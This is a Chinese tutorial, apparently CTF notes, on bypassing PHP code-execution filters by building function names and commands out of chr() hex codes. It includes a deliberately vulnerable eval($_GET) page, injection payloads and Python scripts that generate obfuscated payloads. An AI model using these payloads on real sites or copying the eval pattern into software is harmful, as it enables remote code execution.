原理
<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>
=
1
a
<?php
//测试网页
eval($_GET['a']);
?>
?a=system("whoami");
- 处理过滤时,可以将==命令执行==的部分用chr转换ascll来拼接,如
?a=system(chr(0x77).chr(0x68).chr(0x6f).chr(0x61).chr(0x6d).chr(0x69));
- 也可以将==代码执行==的部分用chr转换ascll来拼接(注意函数要括起来),如
?a=(chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d))('whoami');
?a=(chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d))
(chr(0x77).chr(0x68).chr(0x6f).chr(0x61).chr(0x6d).chr(0x69));
脚本
- 那么下面直接贴脚本吧,这里是通用的转换字符串,如果要转换函数,需要手加括号
import sys
while 1:
print("请输入要转化的字符串:")
str = sys.stdin.readline().strip()
print("您输入的内容是:", str,end=' ')
arr1 = list(str)
str1 = ''
for b in range(len(arr1)):
c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
str1 += c
print("转为chr()方式的结果为:")
print(str1.lstrip('.'))
- 下面是针对代码执行,将命令执行函数和被执行的命令一起转码的脚本
import sys
while 1:
print("请输入要转化的函数:")
str = sys.stdin.readline().strip()
arr1 = list(str)
str1 = ''
for b in range(len(arr1)):
c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
str1 += c
a='('+str1.lstrip('.')+')'
print("请输入要转化的命令:")
str = sys.stdin.readline().strip()
arr1 = list(str)
str1 = ''
for b in range(len(arr1)):
c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
str1 += c
print(a+str1.lstrip('.')+';')